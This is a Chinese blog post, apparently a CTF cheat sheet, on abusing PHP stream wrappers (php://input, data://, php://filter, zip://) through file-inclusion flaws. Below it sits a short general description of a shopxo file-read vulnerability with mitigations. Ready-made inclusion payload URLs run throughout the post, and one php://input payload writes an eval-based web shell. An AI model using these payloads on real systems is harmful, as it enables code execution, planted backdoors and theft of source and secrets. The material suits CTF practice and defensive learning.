php伪协议实现命令执行,任意文件读取

参考链接:PHP伪协议总结 - SegmentFault 思否

目录

1.file://协议

条件:

作用:

说明:

用法

示例:

2.php://协议

条件

作用:

说明

 php://filter使用

php://input的使用

3.data://协议

作用:

用法

4.zip:// & bzip:// & zlib:// 协议

作用:

示例:

总结


总结

在ctf中常用的有data:// , php://input , php://filter ,file://

php://input ,data://用来执行命令

1.php://input 的用法
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>

2.data://用法
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

php://filter,file://用来读取文件

3.php://filter用法
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php(读取php文件需要先加密以下才能读出来,并且拿到的源码需要进行base64解码下)
http://127.0.0.1/include.php?file=php://filter/resource=/flag
4.file://用法
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt

1.file://协议

条件:

allow_url_fopen : off/on
allow_url_include: off/on

作用:

用于访问本地文件系统,在ctf中通常用来读取本地文件

在include() / require() / include_once() / require_once() 参数可控的情况下,即使导入非.php文件,如shell.txt ,依然按照php语法进行解析,这是include()函数所决定的

说明:

file:// 文件系统是php使用的默认封装协议,用于展示本地文件系统。

用法

/path/to/file.ext
relative/path/to/file.ext
fileInCwd.ext
C:/path/to/winfile.ext
C:\path\to\winfile.ext
\\smbserver\share\path\to\winfile.ext
file:///path/to/file.ext

示例:

1.file://[文件的绝对路径和文件名]

http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt

2.file://[文件的相对路径和文件名]

http://127.0.0.1/include.php?file=./phpinfo.txt

3.http://网络位置和文件名

http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

2.php://协议

条件

allow_url_open : off/on
allow_url_include: 仅 php://input  php://stdin php://memory php://temp 需要on

作用:

php:// 访问各个输入/输出流 (I/O streams), 在ctf中经常使用的是 php://filter 和 php://input

php://filter 用于读取源码
php://input 用于执行php代码

说明

php提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流,标准输入输出流和错误描述符

 php://filter使用

php://filter/read=convert.base64-encode/resource=[文件名]

php://input的使用

http://127.0.0.1/include.php?file=php://input


[POST DATA部分]
<?php phpinfo(); ?>

写入一句话木马

http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

3.data://协议

作用:

php>=5.2.0 , 可以使用data://数据流封装器,以传递相应格式的数据。通常用来执行php代码

用法

data://text/plain, ???
如
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

4.zip:// & bzip:// & zlib:// 协议

作用:

zip:// & bzip:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可以修改为任意后缀名,如 jpg,png,gif,xxx等

示例:

1.zip://[压缩文件绝对路径]%23[压缩文件内的子文件文件名](# 的编码为 %23)

压缩 phpinfo.txt 为phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传

http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt

2.compress.bzip2://file.bz2

压缩phpinfo.txt 为phpinfo.bz2 并上传(同样支持任意后缀名)

http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2

3.compress.zlib://file.gz

压缩phpinfo.txt 为phpinfo.gz 并上传(支持任意后缀名)

http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz

  • 8
    点赞
  • 37
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
shopxo是一种流行的开源电商系统,以其简单易用和灵活性而备受欢迎。然而,它也存在一些安全漏洞,包括任意文件读取漏洞。这个漏洞可能会使攻击者能够读取服务器上的任意文件,包括敏感的配置文件和用户数据。 要利用shopxo download任意文件读取漏洞,攻击者通常会构造特定的URL请求,注入恶意代码来访问目标文件。攻击者可能可以通过执行一系列步骤来实现此目标,例如: 1. 识别目标系统上潜在的敏感文件,如数据库配置文件、用户身份验证文件等。 2. 构造特定的URL来请求这些文件,使用目标系统的下载功能。 3. 在URL中注入特殊字符或路径遍历符号,以绕过访问限制和读取目标文件。 一旦攻击者成功读取到目标文件,他们可能会进一步利用这些信息来实施其他攻击,例如窃取用户信息、篡改网站内容或者进行其他恶意活动。 为了防范shopxo download任意文件读取漏洞,网站管理员可以采取以下措施: 1. 及时更新shopxo系统以修复任何已知漏洞,并安装最新的补丁程序。 2. 限制对敏感文件的访问权限,确保只有授权的用户能够访问它们。 3. 验证和过滤用户输入,以防止任意文件读取漏洞的利用。 4. 实施Web应用程序防火墙(WAF),以监视和阻止恶意请求。 5. 定期进行安全审计和漏洞扫描,以及对服务器和应用程序配置进行安全性评估。 通过采取这些预防措施,可以最大限度地减少shopxo download任意文件读取漏洞的风险,并确保网站和用户数据的安全性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

jjj34

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值